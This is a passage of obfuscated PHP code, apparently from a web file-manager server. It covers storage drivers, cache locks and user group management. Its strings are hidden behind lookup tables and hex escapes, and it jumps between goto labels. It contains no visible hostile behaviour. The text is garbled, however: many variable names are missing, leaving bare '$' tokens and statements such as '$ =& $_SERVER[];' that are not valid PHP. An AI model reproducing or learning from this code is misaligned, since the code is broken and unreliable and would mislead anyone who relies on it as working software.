Model($ڡ[592])->getInfo($[$ڡ[593]]); $ = KodIO::clear($ʚ[$ڡ[1177]] . $ǵ[$ڡ[1170]]); $ǵ[$ڡ[486]] = $ʚ; $ǵ[$ڡ[1153]] = $; $ = array($ڡ[1172] => $ڡ[1178], $ڡ[6] => $ǵ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ڡ[1172] => $ڡ[1179], $ڡ[6] => $ǵ); $ʚ = Model($ڡ[592])->getInfo($ǵ[$ڡ[399]]); if ($ʚ[$ڡ[402]] == $ڡ[198]) { $ = KodIO::clear($ʚ[$ڡ[1177]] . $ǵ[$ڡ[1170]]); $ǵ[$ڡ[486]] = $ʚ; $ǵ[$ڡ[1153]] = $; $ = array($ڡ[1172] => $ڡ[1180], $ڡ[6] => $ǵ); } else { if (!$) { $ = $ʚ[$ڡ[402]]; } } break; default: $ = $ǵ[$ڡ[84]]; $ = array($ڡ[1172] => $ڡ[1181]); break; } $㓿 = $ǵ[$ڡ[84]]; if (!isset(self::$driverCache[$㓿])) { $Ԟ = strtolower($[$ڡ[95]]); $д = $GLOBALS[$ڡ[6]][$ڡ[89]][$ڡ[825]]; $֯ר = $ڡ[74] . (isset($д[$Ԟ]) ? $д[$Ԟ] : ucfirst($Ԟ)); if (!class_exists($֯ר)) { show_json("{$֯ר}\40\x6e\x6f\164\x20\x65\x78\x69\x73\x74\x73\41", !1); } $٪ = isset($[$ڡ[6]]) ? $[$ڡ[6]] : !1; self::$driverCache[$㓿] = new $֯ר($٪); } $ɹް = self::$driverCache[$㓿]; $ɹް->pathDriver = $ķ〪; $ɹް->pathBase = $ڡ[12]; if (isset($[$ڡ[6]][$ڡ[1182]])) { $ɹް->pathBase = rtrim($[$ڡ[6]][$ڡ[1182]], $ڡ[8]) . $ڡ[8]; $ = $ɹް->pathBase . ltrim($, $ڡ[8]); } $ = $ɹް->getPath($); if (isset($ǵ[$ڡ[1153]])) { $ = $ǵ[$ڡ[1153]]; } $ɹް->path = $; return $ɹް; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $惶 = array(); $ = 1000; if ($ === -1) { return $惶 ? $惶[count($惶) - 1] : $[12]; } if ($ === !1) { return implode($[231], $惶); } if (count($惶) >= $) { $惶 = array_slice($惶, $ * 0.5, $); } $惶[] = $; write_log($[162] . ACTION . $[1183] . $, $[1184]); } public static function getLastError($嗲 = '') { $Ϙ = self::errorTips(-1); return $Ϙ ? $Ϙ : $嗲; } } goto F◝; f: class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\56\x73\157\x75\162\143\x65\123\145\x63\162\145\164\x4c\x69\163\164"; public $field = array("\163\x6f\165\162\143\145\111\x44", "\x74\171\x70\x65\x49\104", "\x63\x72\x65\x61\164\x65\125\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\x2e\x73\x74\157\x72\x61\147\x65\114\x69\x73\x74"; public $field = array("\x6e\141\155\145", "\163\x69\x7a\x65\x4d\x61\170", "\x73\x79\163\164\145\x6d", "\x64\145\x66\x61\x75\x6c\164", "\144\x72\151\x76\145\x72", "\143\157\156\x66\151\x67"); public function listData($ׄ = false, $ʠ = "\155\157\x64\x69\x66\x79\x54\151\155\x65", $ = false) { $ =& $_SERVER[]; $ڞ = parent::listData($ׄ, $ʠ, $); if ($ׄ) { return $ڞ; } $؉ = $this->ioSizeUseGet(array_to_keyvalue($ڞ, $[12], $[399])); foreach ($ڞ as $Е => $) { unset($ڞ[$Е][$[6]]); $ڞ[$Е][$[1850]] = isset($؉[$[$[399]]]) ? $؉[$[$[399]]] : 0; } return $ڞ; } public function ioSizeUseGet($ܼу) { $ =& $_SERVER[]; if (!$ܼу) { return array(); } $ = $[2178] . implode($[50], $ܼу); $֔ = Cache::get($); if ($֔) { return $֔; } $ = array($[816] => $[399], $[2179] => $[76]); $ȸ = array($[816] => array($[7], $ܼу)); $֔ = Model($[788])->field($)->where($ȸ)->group($[816])->select(); $֔ = array_to_keyvalue($֔, $[399], $[76]); Cache::set($, $֔, 600); return $֔; } public function getConfig($׆) { $й = parent::listData($׆); return json_decode($й[$_SERVER[][6]], !0); } public function update($, $ݔ) { $ޚ =& $_SERVER[]; $ = $ݔ[$ޚ[32]]; $ = array_to_keyvalue(parent::listData(), $ޚ[32]); if (isset($[$]) && $[$][$ޚ[399]] != $) { return !1; } $this->checkPwd($, $ݔ); if (isset($ݔ[$ޚ[2180]]) && $ݔ[$ޚ[2180]] == $ޚ[88]) { $this->checkConfig($ݔ); } unset($ݔ[$ޚ[2180]]); $ = parent::update($, $ݔ); if ($ && $ݔ[$ޚ[37]]) { $ = 0; foreach ($ as $Φ) { if ($Φ[$ޚ[37]] && $Φ[$ޚ[399]] != $) { $ = $Φ[$ޚ[399]]; parent::update($Φ[$ޚ[399]], array($ޚ[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $э =& $_SERVER[]; $Ƽ = array_to_keyvalue(parent::listData(), $э[32]); if (isset($Ƽ[$[$э[32]]])) { return !1; } $this->checkConfig($); $Պ = parent::insert($); if ($Պ && $[$э[37]]) { foreach ($Ƽ as $焖¡) { if ($焖¡[$э[37]]) { parent::update($焖¡[$э[399]], array($э[37] => 0)); } } } return $Պ; } public function updateBackup($᠁, $) { $ =& $_SERVER[]; if (!$) { return; } $ = Model($[747])->config(); if ($[$[1640]] != $[88] || $[$[750]] != $) { return; } $˝ = Model($[769])->get($[779]); $˝ = json_decode($˝, !0); if (!$˝) { return; } $˝[$[750]] = $᠁; Model($[769])->set(array($[779] => $˝)); } public function checkPwd($Ձ, &$Ƃ) { $ =& $_SERVER[]; if (empty($Ƃ[$[6]])) { return; } $Փ = json_decode($Ƃ[$[6]], !0); $Ϛ = $[12]; $њ = array($[2181], $[2182], $[891]); foreach ($њ as $) { if (isset($Փ[$])) { $Ϛ = $; break; } } if (!$Ϛ) { return; } $ɛ = $this->getConfig($Ձ); $ߒ = $ɛ[$Ϛ]; $ﱇ덴 = $Փ[$Ϛ]; if ($ﱇ덴 == str_repeat($[189], strlen($ߒ))) { $Փ[$Ϛ] = $ߒ; $Ƃ[$[6]] = json_encode($Փ); } else { if ($ﱇ덴 != $ߒ) { $Ƃ[$[2180]] = $[88]; } } } public function checkConfig(&$߅ǿ, $ = false) { $榅 =& $_SERVER[]; $ƕ = strtolower($߅ǿ[$榅[95]]); $ = json_decode($߅ǿ[$榅[6]], !0); foreach ($ as $ => $) { $[$] = trim($); } $[$榅[2183]] = rand_string(6); $ = $GLOBALS[$榅[6]][$榅[89]][$榅[825]]; $ = isset($[$ƕ]) ? $[$ƕ] : ucfirst($ƕ); $ = $榅[74] . $; if (!$ || !class_exists($)) { if ($) { return LNG($榅[2184]); } write_log(array($榅[2185], $߅ǿ, get_caller_info()), $榅[2186]); show_json(LNG($榅[2184]), !1, $߅ǿ); } $ۙ = new $($); if (in_array($ƕ, $ۙ->objectDriver)) { if (!$ۙ->isBucketCors() && !$ۙ->setBucketCors()) { $ = LNG($榅[2187]); $ .= $榅[2188] . LNG($榅[2189]); if ($) { return $; } show_json($, !1); } } $ = rtrim($[$榅[1182]], $榅[8]) . $榅[8]; $Ċ = $ۙ->getPath($ . $榅[1186]); if (!$ۙ->mkfile($Ċ)) { if ($) { return LNG($榅[2187]); } show_json(LNG($榅[2187]), !1); } $[$榅[1182]] = $; $߅ǿ[$榅[6]] = json_encode($); $߅ǿ[$榅[95]] = $; return !0; } public function driverListSystem() { $үћ =& $_SERVER[]; $ = parent::listData(); $Ցۭ = array(); foreach ($ as $܋) { unset($܋[$үћ[201]], $܋[$үћ[85]]); $܋[$үћ[6]] = json_decode($܋[$үћ[6]], !0); $Ցۭ[] = $܋; } return $Ցۭ; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ц۾ = array_filter_by_field($, $[37], 1); $ц۾ = $ц۾[0]; if ($ц۾) { $ц۾[$[6]] = json_decode($ц۾[$[6]], !0); } return $ц۾; } public function driverInfo($) { $ =& $_SERVER[]; $ϑё = array_to_keyvalue(parent::listData(), $[399]); if (!isset($ϑё[$])) { return !1; } $ = $ϑё[$]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($Ƽ) { $this->removeShareItems($Ƽ); return parent::remove($Ƽ); } public function removeWithFile($ʿ, $ۦ) { $ =& $_SERVER[]; $ = array($[816] => $ʿ); $ = Model($[471])->where($)->count(); $ט = Model($[471])->where($)->sum($[76]); $ = $ۦ . $[2190] . $ʿ; $ݱƸ = LNG($ۦ == $[548] ? $[2191] : $[2192]); $˨ = new TaskFileTransfer($, $[2186], $, $ݱƸ . "\50{$ʿ}\x29"); $˨->task[$[762]] = (double) $ט; $ = KodIO::defaultDriver(); $ = $[$[399]]; $ρ = "\173\x69\157\72{$}\x7d\57"; $ڥ = !0; $¼ = array(); $ = Model($[200])->where($)->field($[2193])->select(); foreach ($ as $孅) { $٨ = $孅[$[84]]; $㵃 = $ρ . str_replace("\x7b\x69\x6f\x3a{$ʿ}\175\57", $[12], $٨); if (!IO::exist($٨)) { $¼[] = $孅[$[468]]; $˨->updateFileEnd($孅[$[32]], $孅[$[76]]); continue; } if (IO::exist($㵃)) { $˨->updateFileEnd($孅[$[32]], $孅[$[76]]); continue; } if (!IO::move($٨, get_path_father($㵃))) { $ڥ = !1; break; } $ = array($[468] => $孅[$[468]]); $ = array($[816] => $, $[84] => $㵃); Model($[200])->where($)->save($); } $this->removeByFileID($¼); if (!$ڥ) { $˨->stop($); return !1; } $˨->end(); if ($ۦ == $[1830]) { $this->remove($ʿ); } } public function progress($綔º, $Ʌ宬) { return Task::get($Ʌ宬 . $_SERVER[][2190] . $綔º); } private function removeByFileID($Ԕ = array()) { $ =& $_SERVER[]; if (empty($Ԕ)) { return; } $ = array($[468] => array($[7], $Ԕ)); $ = Model($[1341])->where($)->field($[402])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[402]); foreach ($ as $) { Model($[416])->removeNow($, !1); } } private function removeShareItems($Ѭ) { $ =& $_SERVER[]; $뉚 = "\x7b\x69\157\72{$Ѭ}\175\x2f"; $ = array($[402] => 0, $[1177] => array($[383], "{$뉚}\x25")); $㈲ = Model($[1841])->where($)->field($[593])->select(); if (empty($㈲)) { return; } $ꘗ = array_to_keyvalue($㈲, $[12], $[593]); Model($[592])->remove($ꘗ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\x6d\56\x4c\x69\147\150\x74\101\x70\160"; public $modelType = "\x53\x79\x73\164\145\155\x4f\x70\164\151\157\x6e"; public $field = array("\156\x61\155\145", "\147\162\x6f\165\160", "\144\145\163\x63", "\143\157\x6e\164\145\x6e\x74"); public function listData($ = false, $О = "\155\x6f\144\151\146\x79\124\151\155\145", $ = true) { return parent::listData($, $О, $); } public function remove($ר) { $ܲ = $this->findByName($ר); if (!$ܲ) { return !1; } return parent::remove($ܲ[$_SERVER[][399]]); } public function add($ŀ֣) { if ($this->findByName($ŀ֣[$_SERVER[][32]])) { return !1; } return parent::insert($ŀ֣); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findByName($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[399]] != $[$[399]]) { return !1; } return parent::update($[$[399]], $); } } goto bǔ; aߍǍ: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ǽӘ = $GLOBALS[$[6]][$[349]]; self::$cachePath = $ǽӘ[$[200]][$[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $Ѯ = 0) { $кƩ =& $_SERVER[]; $吙 = microtime(!0); $ = $吙 + $Ѯ + 0.0001; $钩 = rtrim(self::$cachePath, $кƩ[8]) . $кƩ[862] . md5($) . $кƩ[859]; if (file_exists($钩) && filemtime($钩) && filemtime($钩) < time() - 10) { @unlink($钩); } do { if (file_exists($钩)) { cacheLockWait(); continue; } $ = fopen($钩, $кƩ[863]); if (!$) { return !1; } $ه囒 = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($кƩ[864] => $, $кƩ[200] => $钩); fwrite($, $); clearstatcache(); if ($ && $ه囒) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ֻ = rtrim(self::$cachePath, $[8]) . $[862] . md5($) . $[859]; return file_exists($ֻ); } public function unlock($) { $ŝ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$ŝ[864]], LOCK_UN); @fclose($[$ŝ[864]]); @unlink($[$ŝ[200]]); unset(self::$caches[$]); } } class CacheLockRedis { public function lock($ʪ, $ѹ = 10) { $ = Cache::init(); $ = microtime(!0) + $ѹ; while (microtime(!0) < $) { $ = $->get($ʪ); if (!$) { $ջ = $->setLock($ʪ, $, $ѹ); if ($ջ) { return !0; } } else { if ($ < microtime(!0)) { $->set($ʪ, $, $ѹ * 2); if ($->get($ʪ) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($Ҟ) { return Cache::init()->get($Ҟ); } public function unlock($Ҿޞ) { return Cache::init()->remove($Ҿޞ); } } class CacheLockMemcached { public function lock($ؑ, $ޕ = 0) { $ = Cache::init(); $ = microtime(!0) + $ޕ; while (microtime(!0) < $) { $֠ = $->get($ؑ); if (!$֠ || $֠ < microtime(!0)) { $ = $->handle->add($ؑ, $, $ޕ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($ګ) { return Cache::init()->remove($ګ); } } goto a; Eɤ֠: class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\164\x61\142\154\145\x4e\141\155\x65" => "\147\x72\x6f\x75\x70\137\x6d\x65\164\141", "\155\145\x74\x61\x46\151\x65\x6c\144" => "\x67\162\157\165\160\111\104"); protected function cacheFunctionAlias($) { $Ꮝ =& $_SERVER[]; return array($Ꮝ[1939] => array($[0], $Ꮝ[1940]), $Ꮝ[1941] => array($[0], $Ꮝ[1942])); } protected function getInfo($Ý, $ = false) { $㢕 = $this->getInfoSimple($Ý); if (!$㢕) { return !1; } if ($) { return $this->_listDataApplyItem($㢕); } return $this->cacheFunctionGet($_SERVER[][1943], $Ý); } protected function getInfoSimple($, $畆 = false) { $疠 =& $_SERVER[]; if ($畆) { $ʘ = array($疠[1861] => intval($)); $헙 = $this->where($ʘ)->find(); return is_array($헙) ? $헙 : array(); } return $this->cacheFunctionGet($疠[1944], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[432]] && isset($[$[1861]]) && $[$[1861]] == 1) { if ($兵 = $this->getInfoSimple($[$[1861]], !0)) { return $[$[1861]]; } } else { $兵 = $this->getInfoSimple($[$[432]]); if (!$兵) { return !1; } } $Ƙ = $[521]; if ($兵[$[511]]) { $Ƙ = $兵[$[511]] . $兵[$[1861]] . $[50]; } $ = array($[420] => $this->groupNameAuto($[$[432]], $[$[32]]), $[401] => $[$[432]], $[580] => $Ƙ, $[1945] => $[$[1848]], $[1946] => 0, $[1865] => 0); if (isset($[$[1885]])) { $[$[1885]] = $[$[1885]]; } else { $ = $this->max($[1885]); if (!$) { $ = 0; } $[$[1885]] = $ + 1; } if (!empty($[$[1861]])) { $[$[1861]] = $[$[1861]]; } $안͔ = $this->add($); $this->setNamePinyin($안͔, $[$[32]]); if (isset($[$[1947]])) { $this->metaSet($안͔, array($[1947] => $[$[1947]], $[1948] => $[$[1948]])); unset($[$[1947]]); unset($[$[1948]]); } Model($[1341])->groupRootAdd($안͔); $this->_clearCache($[$[432]]); return $안͔; } protected function groupEdit($¿, $) { $ݵ =& $_SERVER[]; $ = $this->getInfoSimple($¿); if (!$) { return !1; } if (!empty($[$ݵ[432]])) { $ڔ = $this->getInfoSimple($[$ݵ[432]]); if (!$ڔ) { return !1; } if ($[$ݵ[1861]] == $ڔ[$ݵ[1861]]) { return !1; } if ($[$ݵ[432]] != $[$ݵ[432]]) { if ($ڔ[$ݵ[511]] !== $[$ݵ[511]] && strpos($ڔ[$ݵ[511]], $[$ݵ[511]] . $[$ݵ[1861]] . $ݵ[50]) === 0) { return !1; } $[$ݵ[580]] = $ڔ[$ݵ[511]] . $[$ݵ[432]] . $ݵ[50]; $this->_changeChildLevel($, $ڔ); $this->_clearCache($ڔ[$ݵ[1861]]); $this->_clearCache($[$ݵ[432]]); } } if (isset($[$ݵ[32]])) { $this->setNamePinyin($¿, $[$ݵ[32]]); } if (isset($[$ݵ[1947]])) { $this->metaSet($¿, array($ݵ[1947] => $[$ݵ[1947]], $ݵ[1948] => $[$ݵ[1948]])); unset($[$ݵ[1947]]); unset($[$ݵ[1948]]); } $this->_clearChildrenCache($); return $this->where(array($ݵ[1949] => $¿))->save($); } private function _clearChildrenCache($߶) { $迢 =& $_SERVER[]; $ = array($迢[580] => array($迢[540], $߶[$迢[511]] . $߶[$迢[1861]] . $迢[541])); $ = $this->field($迢[1861])->where($)->select(); foreach ($ as $á) { $this->_clearCache($á[$迢[1861]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1943], $); $this->cacheFunctionClear($[1944], $); } private function _changeChildLevel($߶ո, $Иʡ, $ȥ = false) { $ߵ =& $_SERVER[]; $ = $߶ո[$ߵ[511]] . $߶ո[$ߵ[1861]] . $ߵ[50]; $ȭ = $Иʡ[$ߵ[511]] . $Иʡ[$ߵ[1861]] . $ߵ[50] . $߶ո[$ߵ[1861]] . $ߵ[50]; if ($ȥ) { $ȭ = $Иʡ[$ߵ[511]] . $Иʡ[$ߵ[1861]] . $ߵ[50]; } $۩ = array($ߵ[580] => array($ߵ[540], $߶ո[$ߵ[511]] . $߶ո[$ߵ[1861]] . $ߵ[541])); $ӑ = array($ߵ[580] => array($ߵ[589], "\x72\x65\x70\x6c\x61\143\145\x28\x70\141\162\145\x6e\164\x4c\145\x76\145\x6c\x2c\x27{$}\47\54\x27{$ȭ}\47\51")); $this->_clearChildrenCache($߶ո); $this->where($۩)->data($ӑ)->save(); } public function setNamePinyin($Ы, $凩 = false) { $䬞 =& $_SERVER[]; if (!$凩) { $ = $this->getInfoSimple($Ы); $凩 = $[$䬞[32]]; } if (!Input::check($凩, $䬞[583])) { $this->metaSet($Ы, $䬞[465], null); $this->metaSet($Ы, $䬞[464], null); return; } $ = array($䬞[465] => str_replace($䬞[53], $䬞[12], Pinyin::get($凩)), $䬞[464] => Pinyin::get($凩, $䬞[584])); $this->metaSet($Ы, $); } protected function groupStatus($ؚ, $) { $ћ =& $_SERVER[]; $ = $this->getInfoSimple($ؚ); if (!$) { return !1; } if ($ == $ћ[88]) { $ = $this->parentLevelArray($[$ћ[511]]); } else { $Ț = array($ћ[580] => array($ћ[540], $[$ћ[511]] . $[$ћ[1861]] . $ћ[541])); $ = $this->where($Ț)->field($ћ[1861])->select(); $ = array_to_keyvalue($, $ћ[12], $ћ[1861]); } $[] = $[$ћ[1861]]; $ﵺ = array(); foreach ($ as $ؚ) { $ﵺ[] = array($ћ[1861] => $ؚ, $ћ[94] => $ћ[748], $ћ[374] => $); $this->_clearCache($ؚ); } return Model($ћ[1950])->addAll($ﵺ, array(), !0); } protected function groupRemove($, $ = false) { $՞ =& $_SERVER[]; $ɏ = array($՞[1861] => $); $ = $this->where($ɏ)->find(); if (!$ || $[$՞[432]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$՞[432]]); $this->_changeChildLevel($, $, !0); $this->where(array($՞[432] => $))->save(array($՞[432] => $[$՞[432]])); $this->_clearCache($[$՞[1861]]); } Model($՞[1950])->where($ɏ)->delete(); Model($՞[1951])->where($ɏ)->delete(); Model($՞[824])->groupRootRemove($); $this->_clearCache($[$՞[432]]); return $this->where($ɏ)->delete(); } protected function groupSort($ڛ) { $ =& $_SERVER[]; $ڰ = array(); foreach ($ڛ as $ => $) { $ڰ[] = array($[1861], $, $[1885], $ + 1); } $this->saveAll($ڰ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][369]]); return $; } private function _makeOrder($Ϊ = '') { $Ϟֿ =& $_SERVER[]; $Nj = array($Ϟֿ[1861], $Ϟֿ[32], $Ϟֿ[1850], $Ϟֿ[201]); $ = array($Ϟֿ[450] => $Ϟֿ[451], $Ϟֿ[452] => $Ϟֿ[453]); $ۖ = Input::get($Ϟֿ[457], $Ϟֿ[7], $Ϟֿ[1865], $Nj); $ = Input::get($Ϟֿ[458], $Ϟֿ[7], $Ϟֿ[1952], array($Ϟֿ[1952], $Ϟֿ[452])); $ = $[$]; $Ϊ = $Ϊ . "{$ۖ}\40{$}\54\x20\x67\x72\x6f\x75\x70\x49\104\x20\x61\163\x63"; return $this->order($Ϊ); } public function listChild($ջ) { $ =& $_SERVER[]; $Ƹ = $this->where(array($[432] => $ջ))->_makeOrder()->selectPage(200); $this->_listDataApply($Ƹ[$[369]]); return $Ƹ; } public function listChildIds($) { $Գ =& $_SERVER[]; if (is_string($ի)) { $ = explode($Գ[50], $); } $کŌ = $this->where(array($Գ[1861] => array($Գ[7], $)))->field($Գ[1953])->select(); if (!$کŌ) { return !1; } $ = array(); foreach ($کŌ as $Ƽ) { $[] = "\x73\145\154\x65\143\164\x20\x67\162\x6f\x75\160\111\104\x20\x66\x72\x6f\x6d\40\140\147\162\157\x75\x70\x60\40\167\150\x65\162\x65\x20\160\x61\x72\145\156\x74\114\145\x76\145\154\40\x6c\x69\153\x65\40\x27{$Ƽ[$Գ[511]]}{$Ƽ[$Գ[1861]]}\x2c\x25\47"; } $ = implode($Գ[1954], $); $کŌ = $this->query($); if (!$کŌ) { return array(); } $ = array_to_keyvalue($کŌ, $Գ[12], $Գ[1861]); return array_unique($); } public function listByID($ݕ) { $é =& $_SERVER[]; if (!$ݕ) { return array(); } $ = array($é[1861] => array($é[7], $ݕ)); $찚 = $this->where($)->select(); $찚 = array_sort_keep($찚, $é[1861], $ݕ); $this->_listDataApply($찚); return $찚; } public function listSearch($߷տ) { $ݖ =& $_SERVER[]; $س = $߷տ[$ݖ[1955]]; $ = isset($߷տ[$ݖ[1956]]) ? $߷տ[$ݖ[1956]] : !1; if (!trim($س)) { return !1; } $س = str_replace($ݖ[1957], $ݖ[1958], $س); $ش = array($ݖ[1861] => array($ݖ[383], "{$س}\45"), $ݖ[32] => array($ݖ[383], "\x25{$س}\45"), $ݖ[1002] => $ݖ[1959]); if ($) { $ = $this->getInfoSimple($); $֙ = $[$ݖ[511]] . $ . $ݖ[541]; $ش = array($ش, array($ݖ[511] => array($ݖ[383], $֙))); } $ش = $this->parseWhereLike($ش); $ = $this->_makeOrder()->where($ش)->selectPage(20); $ = $ ? $ : array($ݖ[369] => array(), $ݖ[366] => array()); if (!$ || count($[$ݖ[369]]) < 5 && Input::check($س, $ݖ[318])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($ݖ[464], $س, 10, $); $ = $this->_searchFromMeta($ݖ[465], $س, 10, $); $Ѹ = array_merge($, $, $[$ݖ[369]]); $[$ݖ[369]] = array_unique_by_key($Ѹ, $ݖ[1861]); $[$ݖ[366]][$ݖ[367]] = count($[$ݖ[369]]); $[$ݖ[366]][$ݖ[368]] = ceil($[$ݖ[366]][$ݖ[367]] / $[$ݖ[366]][$ݖ[363]]); } $this->_listDataApply($[$ݖ[369]]); return $; } protected function groupChildrenAll($ڿԀ) { $ɛ¼ =& $_SERVER[]; if (!$ڿԀ) { return !1; } if (is_string($ڿԀ)) { $ڿԀ = array($ڿԀ); } $ = $ڿԀ; foreach ($ڿԀ as $) { $Ĭ = $this->getInfoSimple($); $ = array($ɛ¼[511] => array($ɛ¼[383], $Ĭ[$ɛ¼[511]] . $ . $ɛ¼[541])); $Ԛ = $this->field($ɛ¼[1861])->where($)->select(); $ = array_merge($, array_to_keyvalue($Ԛ, $ɛ¼[12], $ɛ¼[1861])); } return array_unique($); } private function _searchFromMeta($ɍ, $ǧ, $, $) { $ɇ =& $_SERVER[]; $ǧ = strtolower($ǧ); $϶̫ = array($ɇ[94] => $ɍ, $ɇ[374] => array($ɇ[383], "\45{$ǧ}\x25")); $϶̫ = $this->parseWhereLike($϶̫); if ($) { $϶̫[$ɇ[1861]] = array($ɇ[7], $); } $Û = Model($ɇ[1960])->where($϶̫)->limit($)->select(); if (!$Û) { return array(); } $Û = array_to_keyvalue($Û, $ɇ[12], $ɇ[1861]); $ = $this->where(array($ɇ[1949] => array($ɇ[7], $Û)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($솸) { $쳟 = array($솸); $this->_listDataApply($쳟); return $쳟[0]; } protected function _listDataApply(&$) { $ܼ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $ܼ[12], $ܼ[1861]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1861]); $ˍ = array($[432] => array($[7], $)); $ = array($[432], $[1961] => $[491]); $ = $this->field($)->where($ˍ)->group($[432])->select(); $ݡ = array_to_keyvalue($, $[432], $[491]); foreach ($ as &$) { $ = $[$[1861]]; $[$[1962]] = isset($ݡ[$]) ? intval($ݡ[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1861]); $Ҙ = array($[1861] => array($[7], $)); $蒽 = array($[1861], $[1961] => $[491]); $ޮ = Model($[1951])->field($蒽)->where($Ҙ)->group($[1861])->select(); $ĝ = array_to_keyvalue($ޮ, $[1861], $[491]); foreach ($ as &$Ћ) { $ = $Ћ[$[1861]]; $Ћ[$[1963]] = isset($ĝ[$]) ? intval($ĝ[$]) : !1; } unset($Ћ); } private function _listAppendMeta(&$, $ę) { $؇Ѥ =& $_SERVER[]; $ = array($؇Ѥ[1861] => array($؇Ѥ[7], $ę)); $ǝ = Model($؇Ѥ[1950])->where($)->select(); $ǝ = array_to_keyvalue_group($ǝ, $؇Ѥ[1861]); foreach ($ǝ as &$ϯ) { $ϯ = array_to_keyvalue($ϯ, $؇Ѥ[94], $؇Ѥ[374]); } unset($ϯ); foreach ($ as &$) { $[$؇Ѥ[466]] = array(); if (isset($ǝ[$[$؇Ѥ[1861]]])) { $[$؇Ѥ[466]] = $ǝ[$[$؇Ѥ[1861]]]; } } unset($); } protected function parentLevelArray($) { $ӗ =& $_SERVER[]; $ = explode($ӗ[50], trim($, $ӗ[50])); $ = array_remove_value($, $ӗ[198]); return $; } protected function parentInGroup($Ϧ, $ó) { $ႚЍ =& $_SERVER[]; $ = $this->getInfoSimple($Ϧ); if (!$) { return !0; } $ = $this->parentLevelArray($[$ႚЍ[511]]); $[] = $Ϧ; foreach ($ as $Ϧ) { if (in_array($Ϧ . $ႚЍ[12], $ó)) { return !0; } } return !1; } private function _listAppendParent(&$) { $蛙 =& $_SERVER[]; $ӯ = array(); foreach ($ as &$ʨ) { $ӯ[$ʨ[$蛙[1861]]] = $ʨ[$蛙[32]]; $ = $this->parentLevelArray($ʨ[$蛙[511]]); foreach ($ as $߹Ʀ) { if (!isset($ӯ[$߹Ʀ])) { $ӯ[$߹Ʀ] = 0; } } } unset($ʨ); foreach ($ӯ as $檠 => $ɸ) { if ($ɸ) { continue; } $ؒ = $this->getInfoSimple($檠); $ӯ[$檠] = $ؒ[$蛙[32]]; } $у = $GLOBALS[$蛙[6]][$蛙[89]][$蛙[1964]]; if ($GLOBALS[$蛙[494]] == $蛙[88]) { $у = !1; } foreach ($ as &$ʨ) { $ = $this->parentLevelArray($ʨ[$蛙[511]]); $Ă = $蛙[12]; foreach ($ as $檠 => $߹Ʀ) { if ($у && $檠 == 0) { continue; } $Ă .= $ӯ[$߹Ʀ] . $蛙[8]; } if ($) { $Ă .= $ʨ[$蛙[32]]; } $ʨ[$蛙[516]] = str_replace($蛙[519], $蛙[8], $Ă); } unset($ʨ); } private function _listAppendSourceRoot(&$, $Ʊ) { $֚ =& $_SERVER[]; $ג = Model($֚[824])->listSourceRoot(SourceModel::TYPE_GROUP, $Ʊ); $ג = array_to_keyvalue($ג, $֚[496]); $ג = array_remove_key($ג, $֚[496]); foreach ($ as &$帬) { $帬[$֚[87]] = $ג[$帬[$֚[1861]]] ? $ג[$帬[$֚[1861]]] : array(); } unset($帬); } protected function groupMerge($Ү) { $Ү = array_values(array_unique($Ү)); $Ȃ = array(); for ($ڭ = 0; $ڭ < count($Ү); $ڭ++) { $ = !1; for ($ = 0; $ < count($Ү); $++) { if ($ڭ == $) { continue; } if ($this->isParentOf($Ү[$], $Ү[$ڭ])) { $ = !0; break; } } if (!$) { $Ȃ[] = $Ү[$ڭ]; } } return $Ȃ; } protected function isParentOf($Ϛ, $) { $ =& $_SERVER[]; if (!$Ϛ || !$ || $Ϛ == $) { return !1; } $Ԃ = $this->getInfoSimple($Ϛ); $ = $this->getInfoSimple($); $϶ȹ = $Ԃ[$[511]] . $Ϛ . $[50]; if (substr($[$[511]], 0, strlen($϶ȹ)) == $϶ȹ) { return !0; } return !1; } public function groupShowRoot($, $ݠ = false) { $ԕ =& $_SERVER[]; $Ʒ = $this->getInfo($); if (!$Ʒ) { return array(); } $ = $this->parentLevelArray($Ʒ[$ԕ[511]]); $ = array($); if (count($) == 0) { return $; } if ($ݠ && count($) == 1) { return $; } if (!$Ʒ[$ԕ[466]] || !isset($Ʒ[$ԕ[466]][$ԕ[1947]]) || $Ʒ[$ԕ[466]][$ԕ[1947]] == $ԕ[1916]) { return $this->groupShowRoot($[count($) - 1], $ݠ); } if ($Ʒ[$ԕ[466]][$ԕ[1947]] == $ԕ[357]) { $曗 = explode($ԕ[50], 